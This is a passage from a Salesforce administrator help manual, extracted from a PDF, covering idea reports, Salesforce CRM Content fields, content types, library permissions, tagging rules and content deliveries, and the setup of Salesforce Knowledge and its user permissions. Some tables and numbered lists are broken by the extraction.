Fields column and no longer appears on the Post Idea and Idea Detail pages.
5. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field
checkbox.
6. Click Save.
See Also:
Customizing Fields
Defining Picklist Values for the Categories and Status Fields
As an administrator, you can create custom report types so users can run and create custom reports about ideas, idea comments,
and votes. Custom report types are the only way to make idea reports available for your usersSalesforce does not provide
sample idea reports or a standard report folder for ideas.
To create a folder of idea reports for your users:
1. Create a custom report type for ideas. For details, see Setting Up Custom Report Types on page 3106.
If you create a custom report type that uses Ideas as the primary object and Votes as the secondary object, child (merged)
ideas will not appear in the report unless you select "A" records may or may not have related "B" records.
Child ideas have no votes because their votes are transferred to the master idea. This means child ideas do not appear in
a report if the Votes object is required.
2. Create a new public folder for idea reports. This step requires the Manage Public Reports permission. For details, see
Creating and Editing Folders on page 1319.
1440
3. Using your custom report type, create one or more new custom reports for ideas. Assign the reports to the new idea reports
folder you created. For details, see Creating a Custom Report on page 2970.
After completing these steps, a folder of idea reports will be available to your users on the Reports home page.
See Also:
Ideas Overview
Managing Salesforce CRM Ideas
Customize Application
Click Your Name > Setup > Customize > Salesforce CRM Content to access the following options for customizing Salesforce
CRM Content:
Tip: To perform the initial set up of Salesforce CRM Content for your organization, see Setting Up Salesforce CRM
Content on page 1443.
1441
Customize
Content FieldsCreate, edit, or delete custom content fields. Custom fields allow users to categorize and define content
during the publishing process.
Validation RulesCreate, edit, or delete validation rules. Validation rules verify that the data a user enters when publishing
content meets the standards you specify before the user can save the content.
Content TypesCreate, edit, or delete the content type where content fields are assigned. The content type determines
the layout of fields in Salesforce CRM Content.
Library PermissionsCreate, edit, or delete library permissions. A library permission determines user privileges within
a library.
SettingsModify Salesforce CRM Content default settings for multi-language support, PDF downloads, content pack
creation, or the enhanced document viewer.
To create, edit, or delete libraries, assign a new user to a library, or change a user's role in a library, see Managing Libraries
on page 294.
See Also:
Creating Libraries
Salesforce CRM Content Overview
1442
Customize
To create libraries:
Create Libraries
OR
Manage Salesforce CRM Content
Tip:
For more detailed information about setting up Salesforce CRM Content, refer to the Salesforce CRM Content
Implementation Guide.
To set up Salesforce CRM Content for your organization:
1. Enable Salesforce CRM Content by clicking Your Name > Setup > Customize > Salesforce CRM Content > Settings
and selecting Enable Salesforce CRM Content.
2. Give users access to Salesforce CRM Content by assigning feature licenses in one of the following ways:
To assign feature licenses to users automatically, click Your Name > Setup > Customize > Salesforce CRM Content
> Settings and select Autoassign feature licenses to existing and new users.
To assign feature licenses to users manually, click Your Name > Setup > Manage Users > Users and click Edit next
to the user's name. Select the Salesforce CRM Content User checkbox and click Save.
3. Verify that the Salesforce CRM Content users have the Salesforce CRM Content user permissions enabled. The user
permissions include Manage Salesforce CRM Content, Create Libraries, Manage Content Permissions, Manage
Content Properties, Manage Content Types, and Deliver Uploaded Files and Personal Content.
For more information about these user permissions, see User Permissions on page 567.
1443
Customize
Note: Users with the Deliver Uploaded Files and Personal Content user permission can create content deliveries
from personal libraries. This user permission does not affect the ability to deliver content from shared libraries.
4. Optionally, create a public group with a set of Salesforce CRM Content users. You can save time later by assigning the
group to a library rather than assigning several users to the same library individually. See Creating and Editing Groups on
page 590.
5. Optionally, create one or more library permissions. Library permissions are the groups of privileges that determine user
access within a library. Every user must be assigned a library permission before he or she can use a library. All new
organizations contain three library permissions: library administrator, author, and viewer. For more information, see
Managing Library Permissions on page 1451.
6. Use the New Library Wizard to create a library, add members to the library, and assign library permissions to the members.
See Creating Libraries on page 1458.
7. Categorize and define your content:
a. Create content fields. These are custom fields that you assign to a content type. The default fields are Description,
Tags, and Title. If you want to create a field named, for example, Reviewed By, your custom content field would
be a picklist with the names of possible reviewers. See Customizing Content Fields on page 1445.
b. Create a custom content type or modify the General content type. Content types are the containers for custom fields;
they determine which fields are available during the publishing process and how the fields display on the content details
page. You can create multiple content types and assign a content field to any or all content types. For example, if sales
and marketing users need to record different information about their content, you can create Sales and Marketing
content types. If you create a Related Campaign lookup field and add it to the Marketing content type only, users
who select the Sales content type during the upload process will not have the option to choose a campaign. See Setting
Content Types on page 1447.
8. Optionally, enable the Add Google Doc to Salesforce service so library members can contribute Google docs to Salesforce
CRM Content. See Activating Google Docs in Salesforce on page 331.
To customize Salesforce CRM Content after initial configuration, such as adding new content fields or editing library
permissions, see Customizing Salesforce CRM Content on page 1441.
See Also:
Customizing Content Fields
Setting Content Types
Managing Library Permissions
1444
Customize
Click Your Name > Setup > Customize > Salesforce CRM Content > Fields to create, modify, and delete Salesforce CRM
Content custom fields for categorizing and defining your content. The data assigned to these fields during upload is available
on the content details page for the life of the file. After creating custom content fields, you must assign them to a content type.
The content type determines which fields appear when a user uploads or revises files in Salesforce CRM Content. For more
information, see Setting Content Types on page 1447.
To create a custom content field:
1. Click New in the Custom Fields & Relationships related list.
If you need to create dependent fields, see Defining Dependent Picklists on page 1066.
2. Choose the type of field to create, and click Next.
Note:
Some data types are only available for certain configurations. For example, the Master-Detail Relationship
option is available only for custom objects when the custom object does not already have a master-detail
relationship. Also, custom settings only allow a subset of the available data types.
Relationship fields count towards custom field limits.
Field types not listed in custom field types may appear if your organization installed a package from the
AppExchange that uses those custom field types.
The Roll-Up Summary option is only available on certain objects.
Field types correspond to API data types. For more information, see API Data Types and API Field Types
in the SOAP API Developer's Guide.
3. For relationship fields, choose the object that you want to associate with it.
4. Enter a field label.
The Field Name is automatically populated based on the field label you enter. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links,
custom s-controls, and when referencing the field from the API. For more information, see Guidelines for Using Merge
Fields on page 460.
1445
Customize
Tip:
Ensure that both the custom field name and label are not identical to the name and label of any existing standard
or custom field for that object. Identical values may result in unexpected behavior when you reference that name
in a merge field.
If a standard field and custom field have matching names or labels, the merge field displays the value of the
custom field.
If two custom fields have matching names or labels, the merge field may not display the value of the field you
expect.
For example, if you create a field label called Email, the field name automatically populates as Email__c. If you
also have a standard field with the label Email, the merge field may not be able to distinguish between the standard
and custom field names. Make both the custom field name and label unique by adding a character to each, such
as Email2 and Email2__c, respectively.
5. Choose the content type that should display the field as an editable field.
6. For relationship fields, choose whether to create a related list that displays information about the associated records. You
can choose to put the related list on any page layouts for that object.
To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related
List Label.
To add the new related list to page layouts that users have already customized, check Append related list to
users existing personal customizations.
Click Edit or Del in the Content Custom Fields & Relationships related list to edit or delete a custom content field. You
cannot edit or delete the standard content fields. Deleted custom fields and their data are stored until your organization
permanently deletes them or 15 days has elapsed, whichever happens first. Until that time, you can restore the field and its
data. For information on restoring deleted custom fields and relationships, see Managing Deleted Custom Fields on page 1105.
See Also:
Setting Content Types
Customizing Salesforce CRM Content
1446
Content Types
CONTENT TYPES
Setting Content Types
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a library, users select a content type after contributing files, content packs, Google docs, or Web links.
To work with content types, click Your Name > Setup > Customize > Salesforce CRM Content > Content Types. You
can:
Click New to create content types; see Creating Content Types on page 1448.
Click Edit to edit content types; see Editing Content Types on page 1449.
Click Del to delete a content type.
Click picklists to modify the picklists on any content type. Picklists are customized selection lists that allow users to pick
values from a predefined list of entries.
When editing a library, you can choose which content types are visible to library contributors. For more information, see
Restricting Content Types on page 1461.
See Also:
Customizing Content Fields
Customizing Salesforce CRM Content
1447
Customize
Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a library, users select a content type after contributing files, content packs, Google docs, or Web links.
To create a new content type:
1. Click Your Name > Setup > Customize > Salesforce Content > Content Types.
2. Click the New button, and then optionally choose a content type to copy.
Alternatively, select an existing content type from the list of content types, and then click the Clone button.
3. Enter a name for the new content type.
4. Click Save.
For instructions on modifying the content type, see Editing Content Types on page 1449.
Note: When editing a library, you can choose which content types are visible to library contributors. For more
information, see Restricting Content Types on page 1461.
See Also:
Setting Content Types
Customizing Content Fields
1448
Customize
Content types control the organization and visibility of fields on Salesforce CRM Content upload and detail pages.
To edit a content type:
1. Click Your Name > Setup > Customize > Salesforce CRM Content > Content Types.
2. Identify the content type you want to modify and click Edit.
3. To arrange fields on the content type, select one or more fields from the box on the right and drag them to the desired
location.
4. To make a field required, double-click the field name in the box on the left and click the Required checkbox.
Note: Even though the Read Only option appears, Salesforce CRM Content fields cannot be read only.
5. Click Save to finish. Alternatively, click Quick Save to save and continue editing the content type.
See Also:
Setting Content Types
Creating Content Types
1449
Customize
Customize Application
Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. A picklist is a customized
selection list that allows users to pick values from a predefined list of entries. To create a new picklist, see Customizing Content
Fields on page 1445. To modify the picklists available on content types:
1. Go to Your Name > Setup > Customize > Salesforce CRM Content > Content Types and click the picklists link.
2. Select a content type and click Edit next to one of the picklist fields to customize the values included for the content type.
3. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to
choose from the list of selected values when publishing content or editing content details.
4. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent picklist
is ignored.
5. Click Save.
Note: The master picklist, the complete list of values in a picklist, is independent of all content types. If you add a
picklist value to the master picklist, you must manually include the new value in the appropriate content types. If you
remove a picklist value from the master, it is no longer available when publishing new content; however, existing
content assigned to that value is unchanged.
See Also:
Setting Content Types
Editing Content Types
Customizing Content Fields
1450
Libraries
LIBRARIES
Managing Library Permissions
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Click Your Name > Setup > Customize > Salesforce CRM Content > Content Permissions to manage library permissions.
A library permission is a group of privileges assigned to each Salesforce CRM Content library member. It determines which
tasks a member can perform in a particular library. The same user can have a different library permission in each of his or her
libraries.
Note: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already
has three library permissions: Library Administrator, Author, and Viewer.
To create a custom library permission, click the Add Library Permissions button. To edit a library permission, click Edit next
to the library permission name. To delete a library permission, click Del next to the library permission name.
Note: Library permissions do not apply to personal libraries. All Salesforce CRM Content users can save files in their
personal libraries.
See Also:
Customizing Salesforce CRM Content
Setting Up Salesforce CRM Content
1451
Customize
To create a library permission in Salesforce CRM Content, click Your Name > Setup > Customize > Salesforce CRM
Content > Content Permissions and click Add Library Permissions.
Tip: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already
has Viewer, Author, and Library Administrator library permissions. If not, consider creating them. These three library
permissions provide the different levels of library access required for most organizations. For the Viewer library
permission, select the View Comments and Add Comments library privileges. For the Author library permission,
select the Add Content, Add Content on Behalf of Others, Archive Content, Add Comment, and Tag
Content library privileges. For the Library Administrator permission, select the Manage Library privilege.
1. Assign a name to the library permission.
2. Optionally, enter a description of the library permission. If your organization has several library permissions, consider
describing each by its function or with a summary of its privileges. For example, for a Marketing Reviewer permission
you might include a description that reads, Reviews all content used in outbound marketing campaigns or This user can
view and comment on documents.
3. In the Permissions section, select the checkboxes that correspond to the privileges you want to grant to users with this
library permission.
Library Privilege
Description
Manage Library
Add Content
Archive Content
1452
Customize
Library Privilege
Description
Delete Content
Feature Content
View Comments
Add Comments
Modify Comments
Tag Content
Deliver Content
4. Click Save.
See Also:
Managing Library Permissions
Deleting, Archiving, and Restoring Content
Customizing Salesforce CRM Content
To edit a Salesforce CRM Content library permission, click Your Name > Setup > Customize > Salesforce CRM Content
> Content Permissions and click Edit next to the appropriate permission.
1. Assign a name to the library permission.
1453
Customize
2. Optionally, enter a description of the library permission. If your organization has several library permissions, consider
describing each by its function or with a summary of its privileges. For example, for a Marketing Reviewer permission
you might include a description that reads, Reviews all content used in outbound marketing campaigns or This user can
view and comment on documents.
3. In the Permissions section, select the checkboxes that correspond to the privileges you want to grant to users with this
library permission.
Library Privilege
Description
Manage Library
Add Content
Archive Content
Delete Content
Feature Content
View Comments
Add Comments
Modify Comments
Tag Content
Deliver Content
4. Click Save.
See Also:
Creating Library Permissions
Deleting, Archiving, and Restoring Content
Customizing Salesforce CRM Content
1454
Customize
See Also:
Managing Library Permissions
Creating Library Permissions
Customizing Salesforce CRM Content
Click Your Name > Setup > Customize > Salesforce CRM Content > Settings to modify the defaults for your Salesforce
CRM Content organization:
Enable Salesforce CRM Content
If this option is checked, Salesforce CRM Content is enabled for your organization.
1455
Customize
In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document
toolbar, you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous
Page. The right-click menu is not available in preview mode.
You can jump directly to a page by entering the page number and clicking Enter. This option is not available in
full-screen mode.
1456
Customize
From the right-click menu you can choose the Fit Width option to expand the width of the document or the Fit
Full Page option to view the whole page of the document. The fit width icon ( ) and fit full page icon ( ) are
also available on the toolbar.
From the right-click menu you can choose the Full Screen option to view the document in full screen mode or the
Exit option to exit full screen mode. The full screen icon (
From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are
also available on the toolbar.
You can use the scroll bar to move continuously through a document without needing to click the Next Page and
Previous Page icons. Continuous scrolling is not available in preview mode or for PowerPoint documents in any
mode.
You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer
and use the keys as follows:
Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document
forward one page.
Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document
backward one page.
Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document
up the page.
Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document
down the page.
Navigating with keyboard-arrow keys is not available in preview mode.
1457
Customize
Creating Libraries
If this option is not checked, searches in Salesforce CRM Content don't include files from Chatter. The search drop-down
list on the Content and Libraries tabs, and the filters on the Content tab include All Libraries, Personal Library, and
any shared libraries the user is a member of.
See Also:
Customizing Salesforce CRM Content
Uploading and Publishing Content
Viewing and Editing Content Details
Searching for Content
Creating Libraries
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
definition
To assign library permissions to members:
definition
Adding a new library in Salesforce CRM Content includes creating the library name and description, adding members to the
library, and assigning library permissions that determine each member's privileges within the library. The maximum number
of libraries allowed in a single organization is 2,000.
Step 1: Creating a New Library
1.
2.
3.
4.
Click New in the My Libraries section of the Libraries tab home page.
Enter a name for the library. Each library in your organization must have a unique name.
Optionally, enter a description for the library.
Click the Save and Add Members button or, if you want to add members later, click the Save and Close button.
1458
Customize
See Also:
Managing Libraries
Viewing and Editing Libraries
Salesforce CRM Content Overview
definition
In Salesforce CRM Content, tags are descriptive labels that help classify and organize content. Contributors can assign tags
to their files, content packs, Google docs, or Web links, thus enabling all library members to browse for content by tag. The
tagging rule in a library determines how contributors can tag content; for example, the restricted-tagging rule does not allow
contributors to create new tags. Library tagging rules are optional. By default, library contributors can enter any tag.
To assign a tagging rule to a library:
1. On the Libraries tab, select a library from the My Libraries area.
2. Click Tagging Rules and choose one of the following options:
1459
Customize
Description
Open Tagging
Guided Tagging
Restricted Tagging
3. If you chose Guided Tagging or Restricted Tagging, click the link for auto-populating the Suggested Tags field and
then edit, add, or remove tags as needed. If you do not auto-populate the Suggested Tags field, any new tags you enter
in the field are added to the existing list of suggested tags in the library.
4. Click Save.
Notes on Library Tagging Rules
If you publish, share, or move content to a library that uses restricted tags, you will receive an error if your content contains
unsupported tags.
When you share content from one library to another, the most restrictive tagging rule applies. For example:
When content is shared between a restricted-tagging library and a guided- or restricted-tagging library, you can only
choose tags that are common to both libraries.
When content is shared between an open tagging library and a restricted-tagging library, you can only choose tags
suggested in the restricted-tagging library.
If a restricted tagging rule is applied after content has already been published in the library and the existing content contains
tags that are no longer permitted by the rule, the tags remain assigned to the content until it is edited or revised. For
example, if the Q3Forecast document has a market indicators tag and market indicators is not a suggested
tag according to the new restricted-tagging rule, market indicators is removed from Q3Forecast only when a user
publishes a new version of the file or edits the file's tags on the content details page.
Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and
subscribe. Therefore, excessive tagging creates unnecessary clutter.
You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters.
The case of the original tag is always used.
See Also:
Viewing and Editing Libraries
Creating Libraries
1460
Customize
Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a library, users select a content type after contributing files, content packs, Google docs, or Web links. Administrators
can create content types in Setup and then choose which content types are available in a particular library. Administrators can
also choose the default content type for a library.
To restrict the content types available in a library:
1.
2.
3.
4.
5.
Allow content with any content type to be linked to this librarySelect this option if you
want to enable content published in other libraries to be shared to the library where you have restricted content types.
The content in other libraries can be shared regardless of the content types used.
Do not apply content type restrictions to existing contentSelect this option if you do not want
to receive warnings regarding existing content in the library. You will not be alerted if existing content uses content
types that you exclude from the library. This option refers to notifications only; existing content is not affected by
restricted content types.
6. For each content type that you want to allow in the library, move it from the Available Content Types list to the Selected
Content Types list.
7. Click Save.
Notes on Restricting Content Types
If the library already contains published content, selecting the Restrict the content types available in the
library option automatically moves all the content types used by the published content to the Selected Content Types
list.
Deselecting the Restrict the content types available in the library option automatically moves any
content types in the Selected Content Types list to the Available Content Types list.
If you restrict content types, the default content type must be added to the Selected Content Types list.
When changing a file's managing library, the file's content type must be permitted in the new managing library.
1461
Customize
When sharing a file into a library, the file's content type must be permitted in the shared library unless the Allow content
with any content type to be linked to this library option is selected for the shared library.
See Also:
Viewing and Editing Libraries
Setting Content Types
Creating Libraries
Customize Application
A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only. Content deliveries can
be created from the Content Deliveries related list on most Salesforce objects. Salesforce CRM Content users can also create
a content delivery from the content details page or the Related Content related list.
To enable or disable content deliveries for your organization:
1. Click Your Name > Setup > Customize > Content Deliveries > Settings and select or deselect the Enable content
deliveries checkbox. If you dont have access to the Content Delivery feature, contact Salesforce Customer Support
to activate it.
2. To let users create and share links to Chatter files, click Enable Chatter file links. For more information, see
Sharing Files via Link on page 2432.
3. To let recipients of content deliveries preview Office 2007 files:
a.
b.
c.
d.
Click Your Name > Setup > Customize > Salesforce CRM Content > Settings.
Click Enable Office 2007 previews in content.
Click Your Name > Setup > Customize > Content Deliveries > Settings.
Click Enable recipients to preview Office 2007 content deliveries.
1462
Customize
Password protection is optional and defaults to OFFIf this option is selected, users can choose to require a password
when they create a content delivery, but the Require Password to Access Content field on the create-delivery
wizard is not checked by default.
Password protection is optional and defaults to ONIf this option is selected, the Require Password to Access
Content field on the create delivery wizard is checked by default. Users can uncheck the option if they do not want
to require a password.
Password protection is requiredIf this option is selected, a password is generated each time a content delivery is
created. Users cannot opt out of the password requirement.
Note:
If you choose to require a password, users who create a content delivery will receive a password when the delivery
is generated; users must send the password and the delivery URL to delivery recipients. Delivery recipients are
prompted for the password when they click the content delivery URL.
Content delivery passwords display with the content-delivery URL when the delivery is created. You can also
access the password on the delivery detail page for the life of the content delivery.
When content delivery is enabled, all users should add the Content Deliveries related list to their page layouts for leads, business
accounts, contacts, opportunities, cases, campaigns, or custom objects. All Salesforce CRM Content users will see a Deliver
Content option on each content details page. For detailed instructions on creating a content delivery, see Creating Content
Deliveries on page 308.
Implementation Tips
To ensure quality of service, the total number of content-delivery views allowed within a 24-hour period is limited to
20,000. Also, the amount of bandwidth allocated to content deliveries is limited to 1 GB within a 24-hour period. If a
recipient tries to view a delivery when a rate limit has been exceeded, a notification displays that asks the viewer to try again
later. Salesforce may be able to increase rate limits on an exception basis. For more information, contact your sales
representative.
When you create a content delivery, Salesforce copies the original file and creates a new version of that file specifically for
online viewing. Note the following information concerning supported file types:
Microsoft Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files are supported for online views.
Adobe PDF files are supported for online views, but copy-protected PDFs are not.
JPG, BMP, GIF, and PNG are supported for online views.
Any document over 25 MB is not supported for online views.
You can create a content delivery with any file type, but if the file type is not supported for online viewing, your recipient
can only download the document in its original file format.
Always preview your content delivery before sending the URL to recipients. In some cases, formatting in the original file,
such as colors and non-standard fonts, may not display properly in the online version. If you are not happy with the quality
of the online version, the content delivery wizard gives you the option of making your content available for download in
its original file format.
Content deliveries require Adobe Flash version 9.0.115. If a recipient does not have Flash installed, a download option
displays.
Customer Portal and partner portal users cannot create content deliveries.
Only the creator of a content delivery can delete the delivery record or edit details such as the expiration date.
Each time a content delivery's URL is clicked, Salesforce records the click as one view and distinguishes between internal
and external views. An internal view is a view by a Salesforce user, for example, clicking the delivery URL on the delivery
detail page or the View option on the Content Deliveries related list is an internal view. The Content Deliveries related
list provides a count of all views for each delivery. Open the delivery details page to see information about a specific view.
1463
Customize
Note: For password-protected content deliveries, a view is recorded when the recipient clicks on the delivery URL
regardless of whether he or she enters the password and views the delivery.
To delete a Salesforce CRM Content file that is associated with a content delivery, first delete the content delivery.
Salesforce CRM Content users can deliver content from shared libraries or a personal library.
Best Practices
After creating a content delivery, always preview it before sending the URL to your recipients to ensure that the formatting
in the original file displays properly in the online version. For example, colors and non-standard fonts may not display
properly in the preview player. If you are not happy with the quality of the online version, click Previous and choose to
make your content available in its original file format or as a PDF file only. Your recipients will be able to download the
file, and you can track whether the file was downloaded on the delivery detail page.
Animation and timings in PowerPoint files are not supported in the content delivery's online version. Hyperlinks in all
file types are also unsupported. See the implementation tips for a complete list of supported file types.
If you are a Salesforce CRM Content user and want recipients of your content delivery to always see the latest version of
a file rather than the version available on the delivery-creation date, open the delivery detail page and click Edit. Select
the Content Delivery Opens Latest Version checkbox.
If you select Notify Me of First View or Download, you will receive an email when the content delivery is viewed
for the first time.
Storage Implications
In Salesforce CRM Content, file storage is consumed when content is published to shared libraries or saved to a private library.
Creating content deliveries does not have an additional affect on storage limits, but users who frequently upload files to their
personal libraries for the purpose of content delivery should consider their organization's file-storage limits. Administrators
can use reporting to identify which users are consuming the most storage and which files are largest in size.
For non-Salesforce CRM Content users, file storage is consumed each time a content delivery is created. Once uploaded to
Salesforce, a file cannot be reused for multiple content deliveries. Creating multiple content deliveries with the same file
requires uploading the file each time. Deleting a content delivery deletes the source file in Salesforce, thus increasing file-storage
space.
For information about storage limits, see Monitoring Resources on page 752.
See Also:
Viewing and Editing Content Deliveries
Salesforce CRM Content Overview
The following table provides a description of the fields (in alphabetical order) that make up a content delivery. These fields
are located on the create-delivery wizard, the Content Deliveries related list, or the delivery details page.
1464
Customize
Field
Description
Author
For Salesforce CRM Content files, this flag indicates that the
recipient of a content delivery sees the most current version
of a file. For example, if a file is updated between the
delivery-creation date and today's date, a recipient who views
the delivery today sees the newest version.
Created By
Description
Expiration Date
File Downloaded
1465
Customize
Field
Description
Internal View
Last Modified By
Last Viewed
The date and time on which the content delivery was last
viewed. A view is one click of the content-delivery URL. (Read
only)
Owner Name
Related To
Title
For Salesforce CRM Content files, the title of the file included
in the content delivery. (Read only)
View Count
See Also:
Creating Content Deliveries
Viewing and Editing Content Deliveries
1466
Manage Users
Customize Application
AND
Manage Salesforce Knowledge
To manage synonyms:
Manage Synonyms
As a knowledge base administrator, getting started involves choosing how your articles will be formatted and published, then
making the knowledge base available to authors, reviewers, publishers, and others on your team. After initial setup you can
enable numerous settings, such as making articles available to customers, partners, and public website visitors.
Before setting up Salesforce Knowledge, make sure that you are a Salesforce Knowledge user: go to Your Name > Personal
Setup > Personal Info and ensure that the Knowledge User checkbox is selected.
Getting Started with Salesforce Knowledge
Complete the following steps to enable Salesforce Knowledge in your organization:
1. Click Your Name > Setup > Customize > Knowledge > Article Types and create one or more article types.
Note: Before users can access article types, an administrator must set object permissions for article types. For more
information, see Object Permissions on page 586.
2. Click Your Name > Setup > Customize > Knowledge > Settings. Confirm that you want to enable Salesforce Knowledge
and click Enable Knowledge.
3. Select your general settings on page 1476.
Select Allow users to create and edit articles from the Articles tab to enable users to edit
articles without going to the Article Management tab. Users can click Edit an article to open the article edit page. If
a published version of the article already exists, they have the option to view the published version or edit the current
version. If a draft version exists, they can continue with editing the existing draft, but should carefully review the draft
so that they dont overwrite unpublished changes.
Select Activate Validation Status field to add a Validation Status field to all Salesforce Knowledge articles.
1467
Customize
Select Allow users to add external multimedia content to HTML in the standard editor to
allow <iframe> elements in the standard editor to embed multimedia content from the Dailymotion, Vimeo, and
YouTube websites.
Internal App
Customer Portal
Partner Portal
5. Choose a Default Knowledge Base Language. This is the language your authors will use to write most of the articles. We
recommend that your Default Knowledge Base Language and your organization's language be the same.
6. If your Knowledge base supports multiple languages, select Multiple Languages, add the languages supported, and
adjust their settings.
7. Optionally, select your Case Settings. You can select one or both.
8. Optionally, check Allow users to create an article from a reply to create articles from replies in Answers.
9. Click Save.
Complete the following steps to give internal users the ability to manage and view articles:
1. Create the category groups and individual categories that authors will assign to articles. Categories help agents, customers,
partners, and visitors find articles in the knowledge base. See Managing Data Categories on page 1566 for more details.
2. After setting up your data categories, you can control article visibility based on category. By default, Salesforce Knowledge
users have access to all articles associated with any category. To restrict article visibility, you can specify that certain categories
are visible only to certain roles in the role hierarchy. See Editing Role-Based Category Group Visibility on page 1577 for
details.
3. Give internal users access to Salesforce Knowledge by assigning each user a Salesforce Knowledge feature license:
a. Click Your Name > Setup > Manage Users > Users.
b. Click Edit next to the user's name or click New to create a new user.
c. Select the Knowledge User checkbox.
Note: For instructions on giving portal users access to Salesforce Knowledge, see Customizing Salesforce
Knowledge.
4. Verify that each user has the appropriate Salesforce Knowledge user permissions enabled. For more information see
Granting Permissions for Salesforce Knowledge Users on page 1469.
5. Make the Article Management and Articles tabs visible by adding them to a custom app or instructing your users to add
the Article Management or Articles tab to an existing tab set. Note the following:
All users with access to Salesforce Knowledge can see the Articles tab.
Users with the Manage Articles user permission can see the Article Management tab.
See Also:
Salesforce Knowledge Overview
Creating a Public Knowledge Base with Salesforce Knowledge
Salesforce Knowledge Implementation Guide
Granting Permissions for Salesforce Knowledge Users
Creating and Assigning Salesforce Knowledge Users and Groups
Customizing Salesforce Knowledge
1468
Customize
Manage Users
Customize Application
AND
Manage Salesforce Knowledge
To give people in your company access to various features in Salesforce Knowledge, you need to create Knowledge user profiles
with the appropriate user permissions, and then assign users to these profiles. In addition, you need to specify which users in
your company areSalesforce Knowledge users. Optionally, you may want to create public groups for certain article actions,
such as publishing, translating, or archiving.
Manage Users
Customize Application
AND
Manage Salesforce Knowledge
User permissions control access to different features in Salesforce Knowledge. We recommend using permission sets or custom
profiles to grant users the permissions they need. For example, you might want to create a permission set called Article
Manager that includes the permissions needed to create, edit, publish, and assign articles.
When creating Salesforce Knowledge profiles, keep the following in mind.
Users who will create article types, manage article actions, and modify settings in Your Name > Setup > Customize >
Knowledge need the Manage Salesforce Knowledge permission. This permission is on by default in the System
Administrator profile.
1469
Customize
Users who will search for and view articles from the Articles tab need the Read permission for the article types they need
to access.
Users who will edit draft articles, manage the publishing process, or manage the translation process need the Manage
Articles permission and the appropriate article type permissions. Manage Articles is on by default in the System
Administrator profile.
Users with the Manage Articles permission are assigned all article actions automatically. Article actions allow users to
do things like publish and archive articles or manage the translation process.
Users who will create data categories need the Manage Data Categories permission. This permission is on by default in
the System Administrator profile.
Users who will import articles or import or export translations need the Read, Create, Edit, and Delete permissions.
Refer to this table for details on permissions associated with Salesforce Knowledge functionality. The full permission names
are as follows:
MSK
MA
Read
Create
Edit
Delete
Other
Article
Action
1470
Customize
Permissions
Salesforce Knowledge
Functionality
MSK
MA
Read
Create
Edit
Delete
Other
Article
Action
See Also:
Creating and Assigning Salesforce Knowledge Users and Groups
Setting Up Salesforce Knowledge
Overview of User Permissions and Access
Manage Users
Customize Application
AND
Manage Salesforce Knowledge
1471
Customize
2.
3.
4.
5.
6.
Click Edit next to the user's name or click New to create a new user.
If you are creating a new user, complete all the required fields.
Select the Knowledge User checkbox.
Verify that the user has the required permissions. See Granting Permissions for Salesforce Knowledge Users.
Click Save.
Note: To create portal users, see About Customer Portal User Management on page 1696 or About Partner Portal User
Management on page 3485. Public knowledge base visitors do not require authenticated access once the public knowledge
base has been created.
Customize Application
Creating workflow rules and approval processes lets your organization automate many of the tasks involved with managing
its knowledge base. When implementing Salesforce Knowledge, you can create workflow rules and approval processes for
some or all of the article types used by your organization.
Workflow rules let you create email alerts, update fields, or send outbound API messages when an article meets certain criteria.
For example, you could create a workflow rule that sends an email alert to the article type owner when a new article is created
from a case. Note that tasks are not supported by article type workflow.
Approval processes automate the approval of articles. When implemented with Salesforce Knowledge, approval processes give
you additional control over the content of your articles and the process used to approve them. For example, you can create a
process that requires legal and management teams to approve articles containing sensitive information.
Creating Workflow Rules for Article Types
To create workflow rules for article types:
1. Select the object to which the workflow rule applies.
2. Configure the workflow rule settings and criteria.
1472
Customize
Adding an approval process to an article type lets your organization ensure that the required reviewers approve the article
before it's published. When an approval process is enabled for an article's article type, the Approval History related list
displays on the article details page.
When creating an approval process, change the final approval action to Unlock the record for editing to allow users to
publish the article. For more information, see Final Approval Actions on page 1850.
Articles aren't published automatically at the end of an approval process. Users must click Publish... to make the article
available in the publishing channel(s).
When an approval process is associated with an article type, users with the Manage Articles permission might see both
the Publish... and the Submit for Approval buttons on an article's detail page. (Which buttons they see is determined by
both permissions and article actions). These users can publish an article without submitting it for approval. To prevent
this from affecting many users, assign the Publish Articles article action to a limited group of users instead of giving it
to all users with the Manage Articles permission. For more information, see Assigning Article Actions to Public Groups
